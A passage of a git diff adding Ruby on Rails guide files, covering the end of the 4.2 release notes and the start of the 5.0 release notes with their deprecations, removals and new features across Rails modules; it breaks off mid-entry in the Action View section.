Request](https://github.com/rails/rails/pull/17743)) + +### Notable changes + +* The `*_filter` family of methods have been removed from the documentation. Their + usage is discouraged in favor of the `*_action` family of methods: + + ``` + after_filter => after_action + append_after_filter => append_after_action + append_around_filter => append_around_action + append_before_filter => append_before_action + around_filter => around_action + before_filter => before_action + prepend_after_filter => prepend_after_action + prepend_around_filter => prepend_around_action + prepend_before_filter => prepend_before_action + skip_after_filter => skip_after_action + skip_around_filter => skip_around_action + skip_before_filter => skip_before_action + skip_filter => skip_action_callback + ``` + + If your application currently depends on these methods, you should use the + replacement `*_action` methods instead. These methods will be deprecated in + the future and will eventually be removed from Rails. + + (Commit [1](https://github.com/rails/rails/commit/6c5f43bab8206747a8591435b2aa0ff7051ad3de), + [2](https://github.com/rails/rails/commit/489a8f2a44dc9cea09154ee1ee2557d1f037c7d4)) + +* `render nothing: true` or rendering a `nil` body no longer add a single + space padding to the response body. + ([Pull Request](https://github.com/rails/rails/pull/14883)) + +* Rails now automatically includes the template's digest in ETags. + ([Pull Request](https://github.com/rails/rails/pull/16527)) + +* Segments that are passed into URL helpers are now automatically escaped. + ([Commit](https://github.com/rails/rails/commit/5460591f0226a9d248b7b4f89186bd5553e7768f)) + +* Introduced the `always_permitted_parameters` option to configure which + parameters are permitted globally. The default value of this configuration + is `['controller', 'action']`. + ([Pull Request](https://github.com/rails/rails/pull/15933)) + +* Added the HTTP method `MKCALENDAR` from [RFC 4791](https://tools.ietf.org/html/rfc4791). + ([Pull Request](https://github.com/rails/rails/pull/15121)) + +* `*_fragment.action_controller` notifications now include the controller + and action name in the payload. + ([Pull Request](https://github.com/rails/rails/pull/14137)) + +* Improved the Routing Error page with fuzzy matching for route search. + ([Pull Request](https://github.com/rails/rails/pull/14619)) + +* Added an option to disable logging of CSRF failures. + ([Pull Request](https://github.com/rails/rails/pull/14280)) + +* When the Rails server is set to serve static assets, gzip assets will now be + served if the client supports it and a pre-generated gzip file (`.gz`) is on disk. + By default the asset pipeline generates `.gz` files for all compressible assets. + Serving gzip files minimizes data transfer and speeds up asset requests. Always + [use a CDN](https://guides.rubyonrails.org/asset_pipeline.html#cdns) if you are + serving assets from your Rails server in production. + ([Pull Request](https://github.com/rails/rails/pull/16466)) + +* When calling the `process` helpers in an integration test the path needs to have + a leading slash. Previously you could omit it but that was a byproduct of the + implementation and not an intentional feature, e.g.: + + ```ruby + test "list all posts" do + get "/posts" + assert_response :success + end + ``` + +Action View +----------- + +Please refer to the [Changelog][action-view] for detailed changes. + +### Deprecations + +* Deprecated `AbstractController::Base.parent_prefixes`. + Override `AbstractController::Base.local_prefixes` when you want to change + where to find views. + ([Pull Request](https://github.com/rails/rails/pull/15026)) + +* Deprecated `ActionView::Digestor#digest(name, format, finder, options = {})`. + Arguments should be passed as a hash instead. + ([Pull Request](https://github.com/rails/rails/pull/14243)) + +### Notable changes + +* `render "foo/bar"` now expands to `render template: "foo/bar"` instead of + `render file: "foo/bar"`. + ([Pull Request](https://github.com/rails/rails/pull/16888)) + +* The form helpers no longer generate a `<div>` element with inline CSS around + the hidden fields. + ([Pull Request](https://github.com/rails/rails/pull/14738)) + +* Introduced a `#{partial_name}_iteration` special local variable for use with + partials that are rendered with a collection. It provides access to the + current state of the iteration via the `index`, `size`, `first?` and + `last?` methods. + ([Pull Request](https://github.com/rails/rails/pull/7698)) + +* Placeholder I18n follows the same convention as `label` I18n. + ([Pull Request](https://github.com/rails/rails/pull/16438)) + + +Action Mailer +------------- + +Please refer to the [Changelog][action-mailer] for detailed changes. + +### Deprecations + +* Deprecated `*_path` helpers in mailers. Always use `*_url` helpers instead. + ([Pull Request](https://github.com/rails/rails/pull/15840)) + +* Deprecated `deliver` / `deliver!` in favor of `deliver_now` / `deliver_now!`. + ([Pull Request](https://github.com/rails/rails/pull/16582)) + +### Notable changes + +* `link_to` and `url_for` generate absolute URLs by default in templates, + it is no longer needed to pass `only_path: false`. + ([Commit](https://github.com/rails/rails/commit/9685080a7677abfa5d288a81c3e078368c6bb67c)) + +* Introduced `deliver_later` which enqueues a job on the application's queue + to deliver emails asynchronously. + ([Pull Request](https://github.com/rails/rails/pull/16485)) + +* Added the `show_previews` configuration option for enabling mailer previews + outside of the development environment. + ([Pull Request](https://github.com/rails/rails/pull/15970)) + + +Active Record +------------- + +Please refer to the [Changelog][active-record] for detailed changes. + +### Removals + +* Removed `cache_attributes` and friends. All attributes are cached. + ([Pull Request](https://github.com/rails/rails/pull/15429)) + +* Removed deprecated method `ActiveRecord::Base.quoted_locking_column`. + ([Pull Request](https://github.com/rails/rails/pull/15612)) + +* Removed deprecated `ActiveRecord::Migrator.proper_table_name`. Use the + `proper_table_name` instance method on `ActiveRecord::Migration` instead. + ([Pull Request](https://github.com/rails/rails/pull/15512)) + +* Removed unused `:timestamp` type. Transparently alias it to `:datetime` + in all cases. Fixes inconsistencies when column types are sent outside of + Active Record, such as for XML serialization. + ([Pull Request](https://github.com/rails/rails/pull/15184)) + +### Deprecations + +* Deprecated swallowing of errors inside `after_commit` and `after_rollback`. + ([Pull Request](https://github.com/rails/rails/pull/16537)) + +* Deprecated broken support for automatic detection of counter caches on + `has_many :through` associations. You should instead manually specify the + counter cache on the `has_many` and `belongs_to` associations for the + through records. + ([Pull Request](https://github.com/rails/rails/pull/15754)) + +* Deprecated passing Active Record objects to `.find` or `.exists?`. Call + `id` on the objects first. + (Commit [1](https://github.com/rails/rails/commit/d92ae6ccca3bcfd73546d612efaea011270bd270), + [2](https://github.com/rails/rails/commit/d35f0033c7dec2b8d8b52058fb8db495d49596f7)) + +* Deprecated half-baked support for PostgreSQL range values with excluding + beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion + is not fully possible because Ruby ranges do not support excluded beginnings. + + The current solution of incrementing the beginning is not correct + and is now deprecated. For subtypes where we don't know how to increment + (e.g. `succ` is not defined) it will raise an `ArgumentError` for ranges + with excluding beginnings. + ([Commit](https://github.com/rails/rails/commit/91949e48cf41af9f3e4ffba3e5eecf9b0a08bfc3)) + +* Deprecated calling `DatabaseTasks.load_schema` without a connection. Use + `DatabaseTasks.load_schema_current` instead. + ([Commit](https://github.com/rails/rails/commit/f15cef67f75e4b52fd45655d7c6ab6b35623c608)) + +* Deprecated `sanitize_sql_hash_for_conditions` without replacement. Using a + `Relation` for performing queries and updates is the preferred API. + ([Commit](https://github.com/rails/rails/commit/d5902c9e)) + +* Deprecated `add_timestamps` and `t.timestamps` without passing the `:null` + option. The default of `null: true` will change in Rails 5 to `null: false`. + ([Pull Request](https://github.com/rails/rails/pull/16481)) + +* Deprecated `Reflection#source_macro` without replacement as it is no longer + needed in Active Record. + ([Pull Request](https://github.com/rails/rails/pull/16373)) + +* Deprecated `serialized_attributes` without replacement. + ([Pull Request](https://github.com/rails/rails/pull/15704)) + +* Deprecated returning `nil` from `column_for_attribute` when no column + exists. It will return a null object in Rails 5.0. + ([Pull Request](https://github.com/rails/rails/pull/15878)) + +* Deprecated using `.joins`, `.preload` and `.eager_load` with associations + that depend on the instance state (i.e. those defined with a scope that + takes an argument) without replacement. + ([Commit](https://github.com/rails/rails/commit/ed56e596a0467390011bc9d56d462539776adac1)) + +### Notable changes + +* `SchemaDumper` uses `force: :cascade` on `create_table`. This makes it + possible to reload a schema when foreign keys are in place. + +* Added a `:required` option to singular associations, which defines a + presence validation on the association. + ([Pull Request](https://github.com/rails/rails/pull/16056)) + +* `ActiveRecord::Dirty` now detects in-place changes to mutable values. + Serialized attributes on Active Record models are no longer saved when + unchanged. This also works with other types such as string columns and json + columns on PostgreSQL. + (Pull Requests [1](https://github.com/rails/rails/pull/15674), + [2](https://github.com/rails/rails/pull/15786), + [3](https://github.com/rails/rails/pull/15788)) + +* Introduced the `db:purge` Rake task to empty the database for the + current environment. + ([Commit](https://github.com/rails/rails/commit/e2f232aba15937a4b9d14bd91e0392c6d55be58d)) + +* Introduced `ActiveRecord::Base#validate!` that raises + `ActiveRecord::RecordInvalid` if the record is invalid. + ([Pull Request](https://github.com/rails/rails/pull/8639)) + +* Introduced `validate` as an alias for `valid?`. + ([Pull Request](https://github.com/rails/rails/pull/14456)) + +* `touch` now accepts multiple attributes to be touched at once. + ([Pull Request](https://github.com/rails/rails/pull/14423)) + +* The PostgreSQL adapter now supports the `jsonb` datatype in PostgreSQL 9.4+. + ([Pull Request](https://github.com/rails/rails/pull/16220)) + +* The PostgreSQL and SQLite adapters no longer add a default limit of 255 + characters on string columns. + ([Pull Request](https://github.com/rails/rails/pull/14579)) + +* Added support for the `citext` column type in the PostgreSQL adapter. + ([Pull Request](https://github.com/rails/rails/pull/12523)) + +* Added support for user-created range types in the PostgreSQL adapter. + ([Commit](https://github.com/rails/rails/commit/4cb47167e747e8f9dc12b0ddaf82bdb68c03e032)) + +* `sqlite3:///some/path` now resolves to the absolute system path + `/some/path`. For relative paths, use `sqlite3:some/path` instead. + (Previously, `sqlite3:///some/path` resolved to the relative path + `some/path`. This behavior was deprecated on Rails 4.1). + ([Pull Request](https://github.com/rails/rails/pull/14569)) + +* Added support for fractional seconds for MySQL 5.6 and above. + (Pull Request [1](https://github.com/rails/rails/pull/8240), + [2](https://github.com/rails/rails/pull/14359)) + +* Added `ActiveRecord::Base#pretty_print` to pretty print models. + ([Pull Request](https://github.com/rails/rails/pull/15172)) + +* `ActiveRecord::Base#reload` now behaves the same as `m = Model.find(m.id)`, + meaning that it no longer retains the extra attributes from custom + `SELECT`s. + ([Pull Request](https://github.com/rails/rails/pull/15866)) + +* `ActiveRecord::Base#reflections` now returns a hash with string keys instead + of symbol keys. ([Pull Request](https://github.com/rails/rails/pull/17718)) + +* The `references` method in migrations now supports a `type` option for + specifying the type of the foreign key (e.g. `:uuid`). + ([Pull Request](https://github.com/rails/rails/pull/16231)) + +Active Model +------------ + +Please refer to the [Changelog][active-model] for detailed changes. + +### Removals + +* Removed deprecated `Validator#setup` without replacement. + ([Pull Request](https://github.com/rails/rails/pull/10716)) + +### Deprecations + +* Deprecated `reset_#{attribute}` in favor of `restore_#{attribute}`. + ([Pull Request](https://github.com/rails/rails/pull/16180)) + +* Deprecated `ActiveModel::Dirty#reset_changes` in favor of + `clear_changes_information`. + ([Pull Request](https://github.com/rails/rails/pull/16180)) + +### Notable changes + +* Introduced `validate` as an alias for `valid?`. + ([Pull Request](https://github.com/rails/rails/pull/14456)) + +* Introduced the `restore_attributes` method in `ActiveModel::Dirty` to restore + the changed (dirty) attributes to their previous values. + (Pull Request [1](https://github.com/rails/rails/pull/14861), + [2](https://github.com/rails/rails/pull/16180)) + +* `has_secure_password` no longer disallows blank passwords (i.e. passwords + that contains only spaces) by default. + ([Pull Request](https://github.com/rails/rails/pull/16412)) + +* `has_secure_password` now verifies that the given password is less than 72 + characters if validations are enabled. + ([Pull Request](https://github.com/rails/rails/pull/15708)) + +Active Support +-------------- + +Please refer to the [Changelog][active-support] for detailed changes. + +### Removals + +* Removed deprecated `Numeric#ago`, `Numeric#until`, `Numeric#since`, + `Numeric#from_now`. + ([Commit](https://github.com/rails/rails/commit/f1eddea1e3f6faf93581c43651348f48b2b7d8bb)) + +* Removed deprecated string based terminators for `ActiveSupport::Callbacks`. + ([Pull Request](https://github.com/rails/rails/pull/15100)) + +### Deprecations + +* Deprecated `Kernel#silence_stderr`, `Kernel#capture` and `Kernel#quietly` + without replacement. + ([Pull Request](https://github.com/rails/rails/pull/13392)) + +* Deprecated `Class#superclass_delegating_accessor`, use + `Class#class_attribute` instead. + ([Pull Request](https://github.com/rails/rails/pull/14271)) + +* Deprecated `ActiveSupport::SafeBuffer#prepend!` as + `ActiveSupport::SafeBuffer#prepend` now performs the same function. + ([Pull Request](https://github.com/rails/rails/pull/14529)) + +### Notable changes + +* Introduced a new configuration option `active_support.test_order` for + specifying the order test cases are executed. This option currently defaults + to `:sorted` but will be changed to `:random` in Rails 5.0. + ([Commit](https://github.com/rails/rails/commit/53e877f7d9291b2bf0b8c425f9e32ef35829f35b)) + +* `Object#try` and `Object#try!` can now be used without an explicit receiver in the block. + ([Commit](https://github.com/rails/rails/commit/5e51bdda59c9ba8e5faf86294e3e431bd45f1830), + [Pull Request](https://github.com/rails/rails/pull/17361)) + +* The `travel_to` test helper now truncates the `usec` component to 0. + ([Commit](https://github.com/rails/rails/commit/9f6e82ee4783e491c20f5244a613fdeb4024beb5)) + +* Introduced `Object#itself` as an identity function. + (Commit [1](https://github.com/rails/rails/commit/702ad710b57bef45b081ebf42e6fa70820fdd810), + [2](https://github.com/rails/rails/commit/64d91122222c11ad3918cc8e2e3ebc4b0a03448a)) + +* `Object#with_options` can now be used without an explicit receiver in the block. + ([Pull Request](https://github.com/rails/rails/pull/16339)) + +* Introduced `String#truncate_words` to truncate a string by a number of words. + ([Pull Request](https://github.com/rails/rails/pull/16190)) + +* Added `Hash#transform_values` and `Hash#transform_values!` to simplify a + common pattern where the values of a hash must change, but the keys are left + the same. + ([Pull Request](https://github.com/rails/rails/pull/15819)) + +* The `humanize` inflector helper now strips any leading underscores. + ([Commit](https://github.com/rails/rails/commit/daaa21bc7d20f2e4ff451637423a25ff2d5e75c7)) + +* Introduced `Concern#class_methods` as an alternative to + `module ClassMethods`, as well as `Kernel#concern` to avoid the + `module Foo; extend ActiveSupport::Concern; end` boilerplate. + ([Commit](https://github.com/rails/rails/commit/b16c36e688970df2f96f793a759365b248b582ad)) + +* New [guide](autoloading_and_reloading_constants.html) about constant autoloading and reloading. + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails the stable and robust +framework it is today. Kudos to all of them. + +[railties]: https://github.com/rails/rails/blob/4-2-stable/railties/CHANGELOG.md +[action-pack]: https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md +[action-view]: https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md +[action-mailer]: https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md +[active-record]: https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md +[active-model]: https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md +[active-support]: https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md diff --git a/guides/source/5_0_release_notes.md b/guides/source/5_0_release_notes.md new file mode 100644 index 0000000000..d63921507d --- /dev/null +++ b/guides/source/5_0_release_notes.md @@ -0,0 +1,1096 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 5.0 Release Notes +=============================== + +Highlights in Rails 5.0: + +* Action Cable +* Rails API +* Active Record Attributes API +* Test Runner +* Exclusive use of `rails` CLI over Rake +* Sprockets 3 +* Turbolinks 5 +* Ruby 2.2.2+ required + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/5-0-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 5.0 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.2 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 5.0. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-2-to-rails-5-0) +guide. + + +Major Features +-------------- + +### Action Cable + +Action Cable is a new framework in Rails 5. It seamlessly integrates +[WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your +Rails application. + +Action Cable allows for real-time features to be written in Ruby in the +same style and form as the rest of your Rails application, while still being +performant and scalable. It's a full-stack offering that provides both a +client-side JavaScript framework and a server-side Ruby framework. You have +access to your full domain model written with Active Record or your ORM of +choice. + +See the [Action Cable Overview](action_cable_overview.html) guide for more +information. + +### API Applications + +Rails can now be used to create slimmed down API only applications. +This is useful for creating and serving APIs similar to [Twitter](https://dev.twitter.com) or [GitHub](https://developer.github.com) API, +that can be used to serve public facing, as well as, for custom applications. + +You can generate a new api Rails app using: + +```bash +$ rails new my_api --api +``` + +This will do three main things: + +- Configure your application to start with a more limited set of middleware + than normal. Specifically, it will not include any middleware primarily useful + for browser applications (like cookies support) by default. +- Make `ApplicationController` inherit from `ActionController::API` instead of + `ActionController::Base`. As with middleware, this will leave out any Action + Controller modules that provide functionalities primarily used by browser + applications. +- Configure the generators to skip generating views, helpers, and assets when + you generate a new resource. + +The application provides a base for APIs, +that can then be [configured to pull in functionality](api_app.html) as suitable for the application's needs. + +See the [Using Rails for API-only Applications](api_app.html) guide for more +information. + +### Active Record attributes API + +Defines an attribute with a type on a model. It will override the type of existing attributes if needed. +This allows control over how values are converted to and from SQL when assigned to a model. +It also changes the behavior of values passed to `ActiveRecord::Base.where`, which lets use our domain objects across much of Active Record, +without having to rely on implementation details or monkey patching. + +Some things that you can achieve with this: + +- The type detected by Active Record can be overridden. +- A default can also be provided. +- Attributes do not need to be backed by a database column. + +```ruby + +# db/schema.rb +create_table :store_listings, force: true do |t| + t.decimal :price_in_cents + t.string :my_string, default: "original default" +end + +# app/models/store_listing.rb +class StoreListing < ActiveRecord::Base +end + +store_listing = StoreListing.new(price_in_cents: '10.1') + +# before +store_listing.price_in_cents # => BigDecimal.new(10.1) +StoreListing.new.my_string # => "original default" + +class StoreListing < ActiveRecord::Base + attribute :price_in_cents, :integer # custom type + attribute :my_string, :string, default: "new default" # default value + attribute :my_default_proc, :datetime, default: -> { Time.now } # default value + attribute :field_without_db_column, :integer, array: true +end + +# after +store_listing.price_in_cents # => 10 +StoreListing.new.my_string # => "new default" +StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600 +model = StoreListing.new(field_without_db_column: ["1", "2", "3"]) +model.attributes # => {field_without_db_column: [1, 2, 3]} +``` + +**Creating Custom Types:** + +You can define your own custom types, as long as they respond +to the methods defined on the value type. The method `deserialize` or +`cast` will be called on your type object, with raw input from the +database or from your controllers. This is useful, for example, when doing custom conversion, +like Money data. + +**Querying:** + +When `ActiveRecord::Base.where` is called, it will +use the type defined by the model class to convert the value to SQL, +calling `serialize` on your type object. + +This gives the objects ability to specify, how to convert values when performing SQL queries. + +**Dirty Tracking:** + +The type of an attribute is given the opportunity to change how dirty +tracking is performed. + +See its +[documentation](http://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html) +for a detailed write up. + + +### Test Runner + +A new test runner has been introduced to enhance the capabilities of running tests from Rails. +To use this test runner simply type `bin/rails test`. + +Test Runner is inspired from `RSpec`, `minitest-reporters`, `maxitest` and others. +It includes some of these notable advancements: + +- Run a single test using line number of test. +- Run multiple tests pinpointing to line number of tests. +- Improved failure messages, which also add ease of re-running failed tests. +- Fail fast using `-f` option, to stop tests immediately on occurrence of failure, +instead of waiting for the suite to complete. +- Defer test output until the end of a full test run using the `-d` option. +- Complete exception backtrace output using `-b` option. +- Integration with minitest to allow options like `-s` for test seed data, +`-n` for running specific test by name, `-v` for better verbose output and so forth. +- Colored test output. + +Railties +-------- + +Please refer to the [Changelog][railties] for detailed changes. + +### Removals + +* Removed debugger support, use byebug instead. `debugger` is not supported by + Ruby + 2.2. ([commit](https://github.com/rails/rails/commit/93559da4826546d07014f8cfa399b64b4a143127)) + +* Removed deprecated `test:all` and `test:all:db` tasks. + ([commit](https://github.com/rails/rails/commit/f663132eef0e5d96bf2a58cec9f7c856db20be7c)) + +* Removed deprecated `Rails::Rack::LogTailer`. + ([commit](https://github.com/rails/rails/commit/c564dcb75c191ab3d21cc6f920998b0d6fbca623)) + +* Removed deprecated `RAILS_CACHE` constant. + ([commit](https://github.com/rails/rails/commit/b7f856ce488ef8f6bf4c12bb549f462cb7671c08)) + +* Removed deprecated `serve_static_assets` configuration. + ([commit](https://github.com/rails/rails/commit/463b5d7581ee16bfaddf34ca349b7d1b5878097c)) + +* Removed the documentation tasks `doc:app`, `doc:rails`, and `doc:guides`. + ([commit](https://github.com/rails/rails/commit/cd7cc5254b090ccbb84dcee4408a5acede25ef2a)) + +* Removed `Rack::ContentLength` middleware from the default + stack. ([Commit](https://github.com/rails/rails/commit/56903585a099ab67a7acfaaef0a02db8fe80c450)) + +### Deprecations + +* Deprecated `config.static_cache_control` in favor of + `config.public_file_server.headers`. + ([Pull Request](https://github.com/rails/rails/pull/19135)) + +* Deprecated `config.serve_static_files` in favor of `config.public_file_server.enabled`. + ([Pull Request](https://github.com/rails/rails/pull/22173)) + +* Deprecated the tasks in the `rails` task namespace in favor of the `app` namespace. + (e.g. `rails:update` and `rails:template` tasks are renamed to `app:update` and `app:template`.) + ([Pull Request](https://github.com/rails/rails/pull/23439)) + +### Notable changes + +* Added Rails test runner `bin/rails test`. + ([Pull Request](https://github.com/rails/rails/pull/19216)) + +* Newly generated applications and plugins get a `README.md` in Markdown. + ([commit](https://github.com/rails/rails/commit/89a12c931b1f00b90e74afffcdc2fc21f14ca663), + [Pull Request](https://github.com/rails/rails/pull/22068)) + +* Added `bin/rails restart` task to restart your Rails app by touching `tmp/restart.txt`. + ([Pull Request](https://github.com/rails/rails/pull/18965)) + +* Added `bin/rails initializers` task to print out all defined initializers in + the order they are invoked by Rails. + ([Pull Request](https://github.com/rails/rails/pull/19323)) + +* Added `bin/rails dev:cache` to enable or disable caching in development mode. + ([Pull Request](https://github.com/rails/rails/pull/20961)) + +* Added `bin/update` script to update the development environment automatically. + ([Pull Request](https://github.com/rails/rails/pull/20972)) + +* Proxy Rake tasks through `bin/rails`. + ([Pull Request](https://github.com/rails/rails/pull/22457), + [Pull Request](https://github.com/rails/rails/pull/22288)) + +* New applications are generated with the evented file system monitor enabled + on Linux and macOS. The feature can be opted out by passing + `--skip-listen` to the generator. + ([commit](https://github.com/rails/rails/commit/de6ad5665d2679944a9ee9407826ba88395a1003), + [commit](https://github.com/rails/rails/commit/94dbc48887bf39c241ee2ce1741ee680d773f202)) + +* Generate applications with an option to log to STDOUT in production + using the environment variable `RAILS_LOG_TO_STDOUT`. + ([Pull Request](https://github.com/rails/rails/pull/23734)) + +* Enable HSTS with IncludeSudomains header for new applications. + ([Pull Request](https://github.com/rails/rails/pull/23852)) + +* The application generator writes a new file `config/spring.rb`, which tells + Spring to watch additional common files. + ([commit](https://github.com/rails/rails/commit/b04d07337fd7bc17e88500e9d6bcd361885a45f8)) + +* Added `--skip-action-mailer` to skip Action Mailer while generating new app. + ([Pull Request](https://github.com/rails/rails/pull/18288)) + +* Removed `tmp/sessions` directory and the clear rake task associated with it. + ([Pull Request](https://github.com/rails/rails/pull/18314)) + +* Changed `_form.html.erb` generated by scaffold generator to use local variables. + ([Pull Request](https://github.com/rails/rails/pull/13434)) + +* Disabled autoloading of classes in production environment. + ([commit](https://github.com/rails/rails/commit/a71350cae0082193ad8c66d65ab62e8bb0b7853b)) + +Action Pack +----------- + +Please refer to the [Changelog][action-pack] for detailed changes. + +### Removals + +* Removed `ActionDispatch::Request::Utils.deep_munge`. + ([commit](https://github.com/rails/rails/commit/52cf1a71b393486435fab4386a8663b146608996)) + +* Removed `ActionController::HideActions`. + ([Pull Request](https://github.com/rails/rails/pull/18371)) + +* Removed `respond_to` and `respond_with` placeholder methods, this functionality + has been extracted to the + [responders](https://github.com/plataformatec/responders) gem. + ([commit](https://github.com/rails/rails/commit/afd5e9a7ff0072e482b0b0e8e238d21b070b6280)) + +* Removed deprecated assertion files. + ([commit](https://github.com/rails/rails/commit/92e27d30d8112962ee068f7b14aa7b10daf0c976)) + +* Removed deprecated usage of string keys in URL helpers. + ([commit](https://github.com/rails/rails/commit/34e380764edede47f7ebe0c7671d6f9c9dc7e809)) + +* Removed deprecated `only_path` option on `*_path` helpers. + ([commit](https://github.com/rails/rails/commit/e4e1fd7ade47771067177254cb133564a3422b8a)) + +* Removed deprecated `NamedRouteCollection#helpers`. + ([commit](https://github.com/rails/rails/commit/2cc91c37bc2e32b7a04b2d782fb8f4a69a14503f)) + +* Removed deprecated support to define routes with `:to` option that doesn't contain `#`. + ([commit](https://github.com/rails/rails/commit/1f3b0a8609c00278b9a10076040ac9c90a9cc4a6)) + +* Removed deprecated `ActionDispatch::Response#to_ary`. + ([commit](https://github.com/rails/rails/commit/4b19d5b7bcdf4f11bd1e2e9ed2149a958e338c01)) + +* Removed deprecated `ActionDispatch::Request#deep_munge`. + ([commit](https://github.com/rails/rails/commit/7676659633057dacd97b8da66e0d9119809b343e)) + +* Removed deprecated + `ActionDispatch::Http::Parameters#symbolized_path_parameters`. + ([commit](https://github.com/rails/rails/commit/7fe7973cd8bd119b724d72c5f617cf94c18edf9e)) + +* Removed deprecated option `use_route` in controller tests. + ([commit](https://github.com/rails/rails/commit/e4cfd353a47369dd32198b0e67b8cbb2f9a1c548)) + +* Removed `assigns` and `assert_template`. Both methods have been extracted + into the + [rails-controller-testing](https://github.com/rails/rails-controller-testing) + gem. + ([Pull Request](https://github.com/rails/rails/pull/20138)) + +### Deprecations + +* Deprecated all `*_filter` callbacks in favor of `*_action` callbacks. + ([Pull Request](https://github.com/rails/rails/pull/18410)) + +* Deprecated `*_via_redirect` integration test methods. Use `follow_redirect!` + manually after the request call for the same behavior. + ([Pull Request](https://github.com/rails/rails/pull/18693)) + +* Deprecated `AbstractController#skip_action_callback` in favor of individual + skip_callback methods. + ([Pull Request](https://github.com/rails/rails/pull/19060)) + +* Deprecated `:nothing` option for `render` method. + ([Pull Request](https://github.com/rails/rails/pull/20336)) + +* Deprecated passing first parameter as `Hash` and default status code for + `head` method. + ([Pull Request](https://github.com/rails/rails/pull/20407)) + +* Deprecated using strings or symbols for middleware class names. Use class + names instead. + ([commit](https://github.com/rails/rails/commit/83b767ce)) + +* Deprecated accessing mime types via constants (eg. `Mime::HTML`). Use the + subscript operator with a symbol instead (eg. `Mime[:html]`). + ([Pull Request](https://github.com/rails/rails/pull/21869)) + +* Deprecated `redirect_to :back` in favor of `redirect_back`, which accepts a + required `fallback_location` argument, thus eliminating the possibility of a + `RedirectBackError`. + ([Pull Request](https://github.com/rails/rails/pull/22506)) + +* `ActionDispatch::IntegrationTest` and `ActionController::TestCase` deprecate positional arguments in favor of + keyword arguments. ([Pull Request](https://github.com/rails/rails/pull/18323)) + +* Deprecated `:controller` and `:action` path parameters. + ([Pull Request](https://github.com/rails/rails/pull/23980)) + +* Deprecated env method on controller instances. + ([commit](https://github.com/rails/rails/commit/05934d24aff62d66fc62621aa38dae6456e276be)) + +* `ActionDispatch::ParamsParser` is deprecated and was removed from the + middleware stack. To configure the parameter parsers use + `ActionDispatch::Request.parameter_parsers=`. + ([commit](https://github.com/rails/rails/commit/38d2bf5fd1f3e014f2397898d371c339baa627b1), + [commit](https://github.com/rails/rails/commit/5ed38014811d4ce6d6f957510b9153938370173b)) + +### Notable changes + +* Added `ActionController::Renderer` to render arbitrary templates + outside controller actions. + ([Pull Request](https://github.com/rails/rails/pull/18546)) + +* Migrating to keyword arguments syntax in `ActionController::TestCase` and + `ActionDispatch::Integration` HTTP request methods. + ([Pull Request](https://github.com/rails/rails/pull/18323)) + +* Added `http_cache_forever` to Action Controller, so we can cache a response + that never gets expired. + ([Pull Request](https://github.com/rails/rails/pull/18394)) + +* Provide friendlier access to request variants. + ([Pull Request](https://github.com/rails/rails/pull/18939)) + +* For actions with no corresponding templates, render `head :no_content` + instead of raising an error. + ([Pull Request](https://github.com/rails/rails/pull/19377)) + +* Added the ability to override default form builder for a controller. + ([Pull Request](https://github.com/rails/rails/pull/19736)) + +* Added support for API only apps. + `ActionController::API` is added as a replacement of + `ActionController::Base` for this kind of applications. + ([Pull Request](https://github.com/rails/rails/pull/19832)) + +* Make `ActionController::Parameters` no longer inherits from + `HashWithIndifferentAccess`. + ([Pull Request](https://github.com/rails/rails/pull/20868)) + +* Make it easier to opt in to `config.force_ssl` and `config.ssl_options` by + making them less dangerous to try and easier to disable. + ([Pull Request](https://github.com/rails/rails/pull/21520)) + +* Added the ability of returning arbitrary headers to `ActionDispatch::Static`. + ([Pull Request](https://github.com/rails/rails/pull/19135)) + +* Changed the `protect_from_forgery` prepend default to `false`. + ([commit](https://github.com/rails/rails/commit/39794037817703575c35a75f1961b01b83791191)) + +* `ActionController::TestCase` will be moved to its own gem in Rails 5.1. Use + `ActionDispatch::IntegrationTest` instead. + ([commit](https://github.com/rails/rails/commit/4414c5d1795e815b102571425974a8b1d46d932d)) + +* Rails generates weak ETags by default. + ([Pull Request](https://github.com/rails/rails/pull/17573)) + +* Controller actions without an explicit `render` call and with no + corresponding templates will render `head :no_content` implicitly + instead of raising an error. + (Pull Request [1](https://github.com/rails/rails/pull/19377), + [2](https://github.com/rails/rails/pull/23827)) + +* Added an option for per-form CSRF tokens. + ([Pull Request](https://github.com/rails/rails/pull/22275)) + +* Added request encoding and response parsing to integration tests. + ([Pull Request](https://github.com/rails/rails/pull/21671)) + +* Add `ActionController#helpers` to get access to the view context + at the controller level. + ([Pull Request](https://github.com/rails/rails/pull/24866)) + +* Discarded flash messages get removed before storing into session. + ([Pull Request](https://github.com/rails/rails/pull/18721)) + +* Added support for passing collection of records to `fresh_when` and + `stale?`. + ([Pull Request](https://github.com/rails/rails/pull/18374)) + +* `ActionController::Live` became an `ActiveSupport::Concern`. That + means it can't be just included in other modules without extending + them with `ActiveSupport::Concern` or `ActionController::Live` + won't take effect in production. Some people may be using another + module to include some special `Warden`/`Devise` authentication + failure handling code as well since the middleware can't catch a + `:warden` thrown by a spawned thread which is the case when using + `ActionController::Live`. + ([More details in this issue](https://github.com/rails/rails/issues/25581)) + +* Introduce `Response#strong_etag=` and `#weak_etag=` and analogous + options for `fresh_when` and `stale?`. + ([Pull Request](https://github.com/rails/rails/pull/24387)) + +Action View +------------- + +Please refer to the [Changelog][action-view] for detailed changes. + +### Removals + +* Removed deprecated 